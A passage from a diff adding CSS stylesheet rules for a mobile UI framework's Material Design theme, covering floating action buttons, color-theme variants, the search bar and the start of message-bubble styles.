transform-origin: right center; +} +.fab-opened.fab-morph > a i { + opacity: 0; +} +.fab-morph, +.fab-morph > a, +.fab-morph-target { + -webkit-transition-duration: 250ms; + transition-duration: 250ms; +} +.fab-morph-target:not(.fab-morph-target-visible) { + display: none; +} +.fab-extended { + width: auto; +} +.fab-extended > a { + width: 100% !important; +} +.fab-text { + padding-left: 20px; + padding-right: 20px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + font-size: 14px; + text-transform: uppercase; +} +.fab-label-button { + overflow: visible !important; +} +.fab-label { + position: absolute; + top: 50%; + padding: 4px 12px; + border-radius: 4px; + background: #fff; + color: #333; + white-space: nowrap; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + pointer-events: none; +} +.fab[class*="fab-right-"] .fab-label { + right: 100%; + margin-right: 8px; +} +.fab[class*="fab-left-"] .fab-label { + left: 100%; + margin-left: 8px; +} +.md .fab > a, +.md .fab-buttons a { + background: #2196f3; + width: 56px; + height: 56px; + border-radius: 28px; + color: #fff; + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); +} +.md .fab > a.active-state, +.md .fab-buttons a.active-state { + background: #0c82df; +} +.md .fab[class*="fab-left"] { + left: 15px; +} +.md .fab[class*="fab-right"] { + right: 15px; +} +.md .fab[class*="-top"] { + top: 15px; +} +.md .fab[class*="-bottom"] { + bottom: 15px; +} +.md .navbar ~ * .fab[class*="-top"], +.md .navbar ~ .fab[class*="-top"] { + margin-top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ * .fab[class*="-top"], + .md .navbar ~ .fab[class*="-top"] { + margin-top: 64px; + } +} +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], +.md .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 48px; +} +.md .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], +.md .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 72px; +} +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], +.md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 104px; +} +.md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], +.md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 128px; +} +@media (min-width: 768px) { + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ * .fab[class*="-top"], + .md .navbar + .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .fab[class*="-top"] { + margin-top: 112px; + } + .md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ * .fab[class*="-top"], + .md .navbar + .tabbar-labels:not(.toolbar-bottom-md) ~ .fab[class*="-top"] { + margin-top: 136px; + } +} +.md .toolbar-bottom-md ~ * .fab[class*="-bottom"], +.md .toolbar-bottom-md ~ .fab[class*="-bottom"], +.md .messagebar ~ * .fab[class*="-bottom"], +.md .messagebar ~ .fab[class*="-bottom"] { + margin-bottom: 48px; +} +.md .toolbar-bottom-md.tabbar-labels ~ * .fab[class*="-bottom"], +.md .toolbar-bottom-md.tabbar-labels ~ .fab[class*="-bottom"] { + margin-bottom: 72px; +} +.md .fab-morph { + border-radius: 28px; + background: #2196f3; + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12); +} +.md .fab-morph > a { + -webkit-box-shadow: none; + box-shadow: none; + background: none !important; +} +.md .fab-extended { + min-width: 48px; +} +.md .fab-extended > a { + height: 48px; +} +.md .fab-extended > a i { + left: 24px; +} +.md .fab-extended i ~ .fab-text { + padding-left: 48px; +} +.md .fab-text { + font-weight: 500; + letter-spacing: 0.03em; +} +.md .fab-label { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12); + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12); +} +.md .color-theme-red .fab > a, +.md .color-theme-red .fab-buttons a, +.md .color-theme-red.fab > a, +.md .color-theme-red.fab-buttons a { + background: #f44336; +} +.md .color-theme-red .fab > a.active-state, +.md .color-theme-red .fab-buttons a.active-state, +.md .color-theme-red.fab > a.active-state, +.md .color-theme-red.fab-buttons a.active-state { + background: #f21f0f; +} +.md .color-theme-red .fab-morph, +.md .color-theme-red.fab-morph { + background: #f44336; +} +.md .color-theme-green .fab > a, +.md .color-theme-green .fab-buttons a, +.md .color-theme-green.fab > a, +.md .color-theme-green.fab-buttons a { + background: #4caf50; +} +.md .color-theme-green .fab > a.active-state, +.md .color-theme-green .fab-buttons a.active-state, +.md .color-theme-green.fab > a.active-state, +.md .color-theme-green.fab-buttons a.active-state { + background: #409343; +} +.md .color-theme-green .fab-morph, +.md .color-theme-green.fab-morph { + background: #4caf50; +} +.md .color-theme-blue .fab > a, +.md .color-theme-blue .fab-buttons a, +.md .color-theme-blue.fab > a, +.md .color-theme-blue.fab-buttons a { + background: #2196f3; +} +.md .color-theme-blue .fab > a.active-state, +.md .color-theme-blue .fab-buttons a.active-state, +.md .color-theme-blue.fab > a.active-state, +.md .color-theme-blue.fab-buttons a.active-state { + background: #0c82df; +} +.md .color-theme-blue .fab-morph, +.md .color-theme-blue.fab-morph { + background: #2196f3; +} +.md .color-theme-pink .fab > a, +.md .color-theme-pink .fab-buttons a, +.md .color-theme-pink.fab > a, +.md .color-theme-pink.fab-buttons a { + background: #e91e63; +} +.md .color-theme-pink .fab > a.active-state, +.md .color-theme-pink .fab-buttons a.active-state, +.md .color-theme-pink.fab > a.active-state, +.md .color-theme-pink.fab-buttons a.active-state { + background: #ca1452; +} +.md .color-theme-pink .fab-morph, +.md .color-theme-pink.fab-morph { + background: #e91e63; +} +.md .color-theme-yellow .fab > a, +.md .color-theme-yellow .fab-buttons a, +.md .color-theme-yellow.fab > a, +.md .color-theme-yellow.fab-buttons a { + background: #ffeb3b; +} +.md .color-theme-yellow .fab > a.active-state, +.md .color-theme-yellow .fab-buttons a.active-state, +.md .color-theme-yellow.fab > a.active-state, +.md .color-theme-yellow.fab-buttons a.active-state { + background: #ffe712; +} +.md .color-theme-yellow .fab-morph, +.md .color-theme-yellow.fab-morph { + background: #ffeb3b; +} +.md .color-theme-orange .fab > a, +.md .color-theme-orange .fab-buttons a, +.md .color-theme-orange.fab > a, +.md .color-theme-orange.fab-buttons a { + background: #ff9800; +} +.md .color-theme-orange .fab > a.active-state, +.md .color-theme-orange .fab-buttons a.active-state, +.md .color-theme-orange.fab > a.active-state, +.md .color-theme-orange.fab-buttons a.active-state { + background: #d68000; +} +.md .color-theme-orange .fab-morph, +.md .color-theme-orange.fab-morph { + background: #ff9800; +} +.md .color-theme-gray .fab > a, +.md .color-theme-gray .fab-buttons a, +.md .color-theme-gray.fab > a, +.md .color-theme-gray.fab-buttons a { + background: #9e9e9e; +} +.md .color-theme-gray .fab > a.active-state, +.md .color-theme-gray .fab-buttons a.active-state, +.md .color-theme-gray.fab > a.active-state, +.md .color-theme-gray.fab-buttons a.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .fab-morph, +.md .color-theme-gray.fab-morph { + background: #9e9e9e; +} +.md .color-theme-white .fab > a, +.md .color-theme-white .fab-buttons a, +.md .color-theme-white.fab > a, +.md .color-theme-white.fab-buttons a { + background: #ffffff; +} +.md .color-theme-white .fab > a.active-state, +.md .color-theme-white .fab-buttons a.active-state, +.md .color-theme-white.fab > a.active-state, +.md .color-theme-white.fab-buttons a.active-state { + background: #ebebeb; +} +.md .color-theme-white .fab-morph, +.md .color-theme-white.fab-morph { + background: #ffffff; +} +.md .color-theme-black .fab > a, +.md .color-theme-black .fab-buttons a, +.md .color-theme-black.fab > a, +.md .color-theme-black.fab-buttons a { + background: #000000; +} +.md .color-theme-black .fab > a.active-state, +.md .color-theme-black .fab-buttons a.active-state, +.md .color-theme-black.fab > a.active-state, +.md .color-theme-black.fab-buttons a.active-state { + background: #000000; +} +.md .color-theme-black .fab-morph, +.md .color-theme-black.fab-morph { + background: #000000; +} +.md .fab.color-red > a, +.md .fab.color-red .fab-buttons > a, +.md .fab-buttons.color-red a, +.md .fab > a.color-red, +.md .fab .fab-buttons > a.color-red { + background: #f44336; +} +.md .fab.color-red > a.active-state, +.md .fab.color-red .fab-buttons > a.active-state, +.md .fab-buttons.color-red a.active-state, +.md .fab > a.color-red.active-state, +.md .fab .fab-buttons > a.color-red.active-state { + background: #f21f0f; +} +.md .fab-morph.color-red { + background: #f44336; +} +.md .fab.color-green > a, +.md .fab.color-green .fab-buttons > a, +.md .fab-buttons.color-green a, +.md .fab > a.color-green, +.md .fab .fab-buttons > a.color-green { + background: #4caf50; +} +.md .fab.color-green > a.active-state, +.md .fab.color-green .fab-buttons > a.active-state, +.md .fab-buttons.color-green a.active-state, +.md .fab > a.color-green.active-state, +.md .fab .fab-buttons > a.color-green.active-state { + background: #409343; +} +.md .fab-morph.color-green { + background: #4caf50; +} +.md .fab.color-blue > a, +.md .fab.color-blue .fab-buttons > a, +.md .fab-buttons.color-blue a, +.md .fab > a.color-blue, +.md .fab .fab-buttons > a.color-blue { + background: #2196f3; +} +.md .fab.color-blue > a.active-state, +.md .fab.color-blue .fab-buttons > a.active-state, +.md .fab-buttons.color-blue a.active-state, +.md .fab > a.color-blue.active-state, +.md .fab .fab-buttons > a.color-blue.active-state { + background: #0c82df; +} +.md .fab-morph.color-blue { + background: #2196f3; +} +.md .fab.color-pink > a, +.md .fab.color-pink .fab-buttons > a, +.md .fab-buttons.color-pink a, +.md .fab > a.color-pink, +.md .fab .fab-buttons > a.color-pink { + background: #e91e63; +} +.md .fab.color-pink > a.active-state, +.md .fab.color-pink .fab-buttons > a.active-state, +.md .fab-buttons.color-pink a.active-state, +.md .fab > a.color-pink.active-state, +.md .fab .fab-buttons > a.color-pink.active-state { + background: #ca1452; +} +.md .fab-morph.color-pink { + background: #e91e63; +} +.md .fab.color-yellow > a, +.md .fab.color-yellow .fab-buttons > a, +.md .fab-buttons.color-yellow a, +.md .fab > a.color-yellow, +.md .fab .fab-buttons > a.color-yellow { + background: #ffeb3b; +} +.md .fab.color-yellow > a.active-state, +.md .fab.color-yellow .fab-buttons > a.active-state, +.md .fab-buttons.color-yellow a.active-state, +.md .fab > a.color-yellow.active-state, +.md .fab .fab-buttons > a.color-yellow.active-state { + background: #ffe712; +} +.md .fab-morph.color-yellow { + background: #ffeb3b; +} +.md .fab.color-orange > a, +.md .fab.color-orange .fab-buttons > a, +.md .fab-buttons.color-orange a, +.md .fab > a.color-orange, +.md .fab .fab-buttons > a.color-orange { + background: #ff9800; +} +.md .fab.color-orange > a.active-state, +.md .fab.color-orange .fab-buttons > a.active-state, +.md .fab-buttons.color-orange a.active-state, +.md .fab > a.color-orange.active-state, +.md .fab .fab-buttons > a.color-orange.active-state { + background: #d68000; +} +.md .fab-morph.color-orange { + background: #ff9800; +} +.md .fab.color-gray > a, +.md .fab.color-gray .fab-buttons > a, +.md .fab-buttons.color-gray a, +.md .fab > a.color-gray, +.md .fab .fab-buttons > a.color-gray { + background: #9e9e9e; +} +.md .fab.color-gray > a.active-state, +.md .fab.color-gray .fab-buttons > a.active-state, +.md .fab-buttons.color-gray a.active-state, +.md .fab > a.color-gray.active-state, +.md .fab .fab-buttons > a.color-gray.active-state { + background: #8a8a8a; +} +.md .fab-morph.color-gray { + background: #9e9e9e; +} +.md .fab.color-white > a, +.md .fab.color-white .fab-buttons > a, +.md .fab-buttons.color-white a, +.md .fab > a.color-white, +.md .fab .fab-buttons > a.color-white { + background: #ffffff; +} +.md .fab.color-white > a.active-state, +.md .fab.color-white .fab-buttons > a.active-state, +.md .fab-buttons.color-white a.active-state, +.md .fab > a.color-white.active-state, +.md .fab .fab-buttons > a.color-white.active-state { + background: #ebebeb; +} +.md .fab-morph.color-white { + background: #ffffff; +} +.md .fab.color-black > a, +.md .fab.color-black .fab-buttons > a, +.md .fab-buttons.color-black a, +.md .fab > a.color-black, +.md .fab .fab-buttons > a.color-black { + background: #000000; +} +.md .fab.color-black > a.active-state, +.md .fab.color-black .fab-buttons > a.active-state, +.md .fab-buttons.color-black a.active-state, +.md .fab > a.color-black.active-state, +.md .fab .fab-buttons > a.color-black.active-state { + background: #000000; +} +.md .fab-morph.color-black { + background: #000000; +} +.md.device-iphone-x .fab[class*="-bottom"] { + bottom: calc(16px + constant(safe-area-inset-bottom)); + bottom: calc(16px + env(safe-area-inset-bottom)); +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .fab[class*="fab-left"], + .md.device-iphone-x .ios-edges .fab[class*="fab-left"], + .md.device-iphone-x .popup .fab[class*="fab-left"], + .md.device-iphone-x .sheet-modal .fab[class*="fab-left"], + .md.device-iphone-x .panel-left .fab[class*="fab-left"] { + left: calc(16px + constant(safe-area-inset-left)); + left: calc(16px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .fab[class*="fab-right"], + .md.device-iphone-x .ios-edges .fab[class*="fab-right"], + .md.device-iphone-x .popup .fab[class*="fab-right"], + .md.device-iphone-x .sheet-modal .fab[class*="fab-right"], + .md.device-iphone-x .panel-right .fab[class*="fab-right"] { + right: calc(16px + constant(safe-area-inset-right)); + right: calc(16px + env(safe-area-inset-right)); + } +} +/* === Searchbar === */ +.searchbar { + width: 100%; + position: relative; + z-index: 200; +} +.searchbar .searchbar-input-wrap { + -webkit-flex-shrink: 1; + -ms-flex-negative: 1; + flex-shrink: 1; + width: 100%; + height: 100%; + position: relative; +} +.searchbar .searchbar-input-wrap input[type="search"] { + padding: 0; +} +.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button { + -webkit-appearance: none; + appearance: none; +} +.page > .searchbar { + position: absolute; + left: 0; + top: 0; +} +.searchbar-expandable { + position: absolute; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + pointer-events: none; +} +.searchbar-inner { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.searchbar-disable-button { + cursor: pointer; + pointer-events: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + background: none; + border: none; + outline: 0; + padding: 0; + margin: 0; + width: auto; + opacity: 0; +} +.searchbar-icon { + pointer-events: none; + background-position: center; + background-repeat: no-repeat; +} +.searchbar-backdrop { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + z-index: 100; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.searchbar-backdrop.searchbar-backdrop-in { + opacity: 1; + pointer-events: auto; +} +.page-content > .searchbar-backdrop { + position: fixed; +} +.searchbar-not-found { + display: none; +} +.hidden-by-searchbar, +.list .hidden-by-searchbar, +.list.li.hidden-by-searchbar, +.list li.hidden-by-searchbar { + display: none !important; +} +.md .searchbar { + height: 48px; + background: #fff; +} +.md .searchbar input[type="search"], +.md .searchbar input[type="text"] { + padding-left: 65px; + padding-right: 48px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 100%; + height: 100%; + display: block; + border: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; + font-family: inherit; + font-size: 20px; + color: #000; + font-weight: normal; +} +.md .searchbar input[type="search"]::-webkit-input-placeholder, +.md .searchbar input[type="text"]::-webkit-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]:-ms-input-placeholder, +.md .searchbar input[type="text"]:-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]::-ms-input-placeholder, +.md .searchbar input[type="text"]::-ms-input-placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar input[type="search"]::placeholder, +.md .searchbar input[type="text"]::placeholder { + color: #939398; + opacity: 1; +} +.md .searchbar-expandable { + height: 100%; +} +.md .searchbar-backdrop { + background: rgba(0, 0, 0, 0.25); +} +.md .searchbar-icon, +.md .searchbar-disable-button { + position: absolute; + width: 48px; + height: 48px; + left: -4px; + top: 50%; + margin-top: -24px; + background-size: 24px 24px; + background-repeat: no-repeat; + background-position: center; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.md .searchbar-icon { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M15.5%2014h-.79l-.28-.27C15.41%2012.59%2016%2011.11%2016%209.5%2016%205.91%2013.09%203%209.5%203S3%205.91%203%209.5%205.91%2016%209.5%2016c1.61%200%203.09-.59%204.23-1.57l.27.28v.79l5%204.99L20.49%2019l-4.99-5zm-6%200C7.01%2014%205%2011.99%205%209.5S7.01%205%209.5%205%2014%207.01%2014%209.5%2011.99%2014%209.5%2014z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); +} +.md .searchbar-disable-button { + -webkit-transform: rotate(-90deg) scale(0.5); + transform: rotate(-90deg) scale(0.5); + font-size: 0 !important; + display: block; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23737373'%2F%3E%3C%2Fsvg%3E"); +} +.md .searchbar-disable-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .searchbar-disable-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .searchbar-enabled .searchbar-disable-button { + -webkit-transform: rotate(0deg) scale(1); + transform: rotate(0deg) scale(1); + pointer-events: auto; + opacity: 1; +} +.md .searchbar-enabled .searchbar-icon { + opacity: 0; + -webkit-transform: rotate(90deg) scale(0.5); + transform: rotate(90deg) scale(0.5); +} +.md .searchbar .input-clear-button { + width: 48px; + height: 48px; + margin-top: -24px; + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E"); + border-radius: 0; + background-repeat: no-repeat; + background-position: center; + background-size: 24px 24px; + background-color: transparent; + right: 0; +} +.md .searchbar .input-clear-button:before { + content: ''; + width: 152%; + height: 152%; + position: absolute; + left: -26%; + top: -26%; + background-image: -webkit-radial-gradient(center, circle, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-image: radial-gradient(circle at center, rgba(0, 0, 0, 0.1) 66%, rgba(0, 0, 0, 0) 66%); + background-repeat: no-repeat; + background-position: center; + background-size: 100% 100%; + opacity: 0; + pointer-events: none; + -webkit-transition-duration: 600ms; + transition-duration: 600ms; +} +.md .searchbar .input-clear-button.active-state:before { + opacity: 1; + -webkit-transition-duration: 150ms; + transition-duration: 150ms; +} +.md .searchbar .input-clear-button:after { + display: none; +} +.md .searchbar .input-clear-button:before { + margin-left: 0; + margin-top: 0; +} +.md .page-content .searchbar { + border-radius: 2px; + margin: 8px; + width: auto; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .page-content .searchbar .searchbar-inner { + border-radius: 2px; +} +.md .page > .searchbar { + z-index: 510; +} +.md .page > .searchbar:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .page > .searchbar.no-shadow:after { + display: none; +} +.md .page > .searchbar input[type="search"], +.md .subnavbar .searchbar input[type="search"], +.md .searchbar-expandable input[type="search"], +.md .page > .searchbar input[type="text"], +.md .subnavbar .searchbar input[type="text"], +.md .searchbar-expandable input[type="text"] { + padding-left: 73px; +} +.md .page > .searchbar .searchbar-icon, +.md .subnavbar .searchbar .searchbar-icon, +.md .searchbar-expandable .searchbar-icon, +.md .page > .searchbar .searchbar-disable-button, +.md .subnavbar .searchbar .searchbar-disable-button, +.md .searchbar-expandable .searchbar-disable-button { + left: 4px; +} +.md .searchbar-expandable { + width: 56px; + height: 100%; + opacity: 0; + top: 50%; + margin-top: -28px; + -webkit-transform: translate3d(0px, 0px, 0px); + transform: translate3d(0px, 0px, 0px); + left: 100%; + margin-left: -56px; +} +.md .navbar .searchbar-expandable { + border-radius: 28px; + width: 56px; + margin-top: -28px; + margin-left: -56px; +} +@media (min-width: 768px) { + .md .navbar .searchbar-expandable { + border-radius: 32px; + width: 64px; + margin-top: -32px; + margin-left: -64px; + } +} +.md .toolbar .searchbar-expandable, +.md .subnavbar .searchbar-expandable { + border-radius: 24px; + width: 48px; + margin-top: -24px; + margin-left: -48px; +} +.md .tabbar-labels .searchbar-expandable { + border-radius: 36px; + width: 72px; + margin-top: -36px; + margin-left: -72px; +} +.md .searchbar-expandable.searchbar-enabled { + width: 100%; + border-radius: 0; + opacity: 1; + pointer-events: auto; + top: 0; + margin-top: 0; + left: 0; + margin-left: 0; +} +.md .page > .searchbar ~ * .page-content, +.md .page > .searchbar ~ .page-content { + padding-top: 48px; +} +.md .page > .navbar ~ .searchbar { + top: 56px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .searchbar { + top: 64px; + } +} +.md .page > .navbar ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .searchbar ~ .page-content { + padding-top: 104px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .searchbar ~ .page-content { + padding-top: 112px; + } +} +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 48px; +} +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, +.md .page > .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 96px; +} +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 72px; +} +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, +.md .page > .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 120px; +} +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 104px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar { + top: 112px; + } +} +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 152px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .toolbar:not(.toolbar-bottom-md):not(.messagebar) ~ .searchbar ~ .page-content { + padding-top: 160px; + } +} +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 128px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar { + top: 136px; + } +} +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, +.md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 176px; +} +@media (min-width: 768px) { + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ * .page-content, + .md .page > .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .searchbar ~ .page-content { + padding-top: 184px; + } +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .searchbar-inner, + .md.device-iphone-x .ios-edges .searchbar-inner, + .md.device-iphone-x .popup .searchbar-inner, + .md.device-iphone-x .sheet-modal .searchbar-inner, + .md.device-iphone-x .panel-left .searchbar-inner { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-left-edge .searchbar-disable-button, + .md.device-iphone-x .ios-edges .searchbar-disable-button, + .md.device-iphone-x .popup .searchbar-disable-button, + .md.device-iphone-x .sheet-modal .searchbar-disable-button, + .md.device-iphone-x .panel-left .searchbar-disable-button { + left: calc(4px + constant(safe-area-inset-left)); + left: calc(4px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-right-edge .searchbar-inner, + .md.device-iphone-x .ios-edges .searchbar-inner, + .md.device-iphone-x .popup .searchbar-inner, + .md.device-iphone-x .sheet-modal .searchbar-inner, + .md.device-iphone-x .panel-right .searchbar-inner { + padding-right: constant(safe-area-inset-right); + padding-right: env(safe-area-inset-right); + } +} +/* === Messages === */ +.messages { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + min-height: 100%; + position: relative; + z-index: 1; +} +.messages-title { + text-align: center; + width: 100%; + line-height: 1; +} +.message { + max-width: 70%; + -webkit-box-sizing: border-box; + box-sizing: border-box; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-align: end; + -webkit-align-items: flex-end; + -ms-flex-align: end; + align-items: flex-end; + position: relative; + z-index: 1; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); +} +.message-avatar { + border-radius: 50%; + position: relative; + background-size: cover; + -webkit-align-self: flex-end; + -ms-flex-item-align: end; + align-self: flex-end; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.message-content { + position: relative; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; +} +.message-header, +.message-footer, +.message-name { + line-height: 1; + font-size: 12px; +} +.message-footer { + font-size: 11px; + margin-bottom: -1em; +} +.message-bubble { + -webkit-box-sizing: border-box; + box-sizing: border-box; + word-break: break-word; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + position: relative; + line-height: 1.2; +} +.message-image img { + display: block; + max-width: 100%; + height: auto; + width: auto; +} +.message-text-header, +.message-text-footer { + font-size: 12px; + line-height: 1; +} +.message-text { + text-align: left; +} +.message-sent { + text-align: right; + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + -webkit-align-self: flex-end; + -ms-flex-item-align: 